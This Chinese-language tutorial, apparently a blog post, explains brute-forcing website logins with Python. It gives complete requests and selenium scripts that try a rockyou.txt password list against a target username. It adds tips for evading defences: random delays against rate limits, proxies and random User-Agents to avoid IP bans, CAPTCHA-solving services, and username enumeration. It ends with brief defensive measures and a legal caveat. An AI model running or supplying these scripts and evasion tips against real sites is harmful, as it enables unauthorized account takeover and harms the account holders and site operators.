返回

Python实现网站暴力破解:原理与防范详解

python

网站暴力破解的Python实现

本文讨论使用Python对网站进行暴力破解的技术。此方法本质上是尝试各种密码组合以获得访问权限。目标是为了理解这种方法的原理及其防范措施,绝不可用于非法活动。

基础方法:密码字典暴力破解

密码字典攻击是一种常见的暴力破解方法。它使用预先准备好的密码列表,也称为“字典”,逐个尝试登录。这种方法的核心在于密码的普遍性和人们使用常用密码的倾向。

操作步骤:

  1. 准备密码字典:
    密码字典包含常用密码或目标用户可能使用的密码组合。例如,可以使用类似"rockyou.txt"的公开密码列表。

  2. 编写Python脚本:
    使用Python的requests库向目标网站发送HTTP请求,模拟登录行为,selenium也可以胜任这种任务。

    代码示例(requests库):

    import requests
    from tqdm import tqdm
    
    def basic_bruteforce(url, username, passwords):
        for password in tqdm(passwords):
            data = {'username': username, 'password': password}
            response = requests.post(url, data=data)
            # 在这里,你需要检查响应的内容来确定登录是否成功
            if "欢迎页面" in response.text: 
                return password
            if "登录失败" not in response.text:
                 #这里表示请求成功
                 # 检查是否存在异常情况 比如图形验证码 或者登录过于频繁
                 # 比如: "验证码", "请求频繁"  这些关键词可能出现 
                 if not ("验证码" in response.text or "请求频繁" in response.text):
                     print("未识别的状态,可能需要手动排查")
    
        return None
    
    
    if __name__ == '__main__':
        # 这里填写目标网站登录的 URL 和 用户名
        login_url = 'https://example.com/login'  #  你需要换成目标网站的URL
        user_name = "target_username"   # 你需要换成用户名
    
        with open("rockyou.txt","r") as f:
           passwords=[line.strip() for line in f.readlines()]
    
        correct_password=basic_bruteforce(login_url,user_name,passwords)
        if correct_password:
            print(f'密码找到! 正确密码是:{correct_password}')
        else:
             print("密码未找到")
    

    代码示例 (selenium库):

    from selenium import webdriver
    from selenium.webdriver.common.by import By
    from selenium.webdriver.support.ui import WebDriverWait
    from selenium.webdriver.support import expected_conditions as EC
    from tqdm import tqdm
    
    def selenium_bruteforce(url, username, passwords, success_indicator):
    
     driver = webdriver.Chrome()
     driver.get(url)
    
     username_field=WebDriverWait(driver, 20).until(EC.presence_of_element_located((By.ID,'username'))) # 你可能需要用className  CSS_SELECTOR 等方式定位用户名输入框
     username_field.send_keys(username)
    
     password_field =WebDriverWait(driver, 20).until(EC.presence_of_element_located((By.ID,'password')))   # 同理
    
     for password in tqdm(passwords):
       try:
           password_field.clear()
           password_field.send_keys(password)
    
           login_button =driver.find_element(By.ID, "login-submit-button") # 你可能需要用ClassName等定位登陆按钮
           login_button.click()
    
           if success_indicator in driver.page_source:  #成功指示器(如“欢迎”,“已登录”)
              return password
    
           if  "登录失败" not in  driver.page_source : # 当页面有请求返回 并且不属于失败状态 表示状态为未知的  很有可能是验证码或者是账号限制 需要人为排查
                if  not("验证码" in driver.page_source  or "请求过于频繁" in driver.page_source):
                 print("发现异常登录状态,可能需要人工干预")
    
       except Exception as e :
          # 这里的异常是各种页面没有加载出来的原因,请根据自己的网站设置
          print (e) 
     driver.quit()
     return None
    
    if __name__ == '__main__':
       login_url='https://example.com/login'   #  你需要换成目标网站的URL
       user_name ="target_username"
       success_text = "欢迎"    # 你可能需要修改成成功后的页面的提示信息
    
       with open("rockyou.txt", "r") as f :
            passwords =[ line.strip()  for line in f.readlines()]
    
       correct_password = selenium_bruteforce(login_url,user_name,passwords,success_text)
    
       if correct_password :
          print (f"找到正确的密码 {correct_password}")
       else:
          print("没有找到密码")
    
    
  3. 检查登录结果:
    根据网站响应的内容,例如登录成功后的页面内容或返回的HTTP状态码,判断密码是否正确。 使用文本匹配、元素查找或者正则表达式等多种手段确定状态。 selenium中 可以利用 driver.page_sourceexpected_conditions 进行状态的确定。request库可以通过响应状态码 以及 response.text 来完成状态判断。

增强方法:优化和规避限制

  • 速率限制:
    许多网站会实施速率限制以防止暴力破解。 为防止请求被阻断,可以在脚本中添加延迟(例如,time.sleep())或者随机延迟。还可以设置IP代理或者使用随机User-Agent header避免IP被封。

    代码示例(添加延迟):

    import requests
    import time
    from random import randint
    
    def timed_bruteforce(url,username,passwords):
      for password in passwords:
         data ={'username':username,'password':password}
         response=requests.post(url, data=data)
         time.sleep(randint(2,5))  #  设置2-5秒随机间隔  
         if "欢迎" in response.text :
             return password
    
    
  • 验证码:
    验证码用于防止机器人自动化操作。这会给自动化破解带来一定的阻碍,此时你需要人工处理,或寻找专门用于解决验证码的服务或者API。

  • 尝试多种用户名字典: 一些情况下,密码破解需要枚举用户名。针对这种情况, 你需要把 basic_bruteforceselenium_bruteforce函数 的username变量改为list或tuple进行多次循环处理。

防范措施:

网站可以采取以下措施来防御暴力破解攻击:

  • 速率限制: 对特定IP或用户,限制登录尝试的频率。
  • 账户锁定: 在一定次数的错误尝试后,临时或永久锁定账户。
  • 多因素身份验证(MFA): 要求除密码外额外的身份验证因素,例如短信验证码或身份验证器APP。
  • 复杂密码策略: 强制用户使用强密码。
  • 监控异常活动: 监测不寻常的登录尝试,并采取相应的防范措施。

注意事项

密码破解涉及到对安全边界的探测和验证,要小心行事。这种行为可能会被认为非法,或对目标服务造成不可预知的风险。应该避免对没有明确授权的目标系统进行此类操作。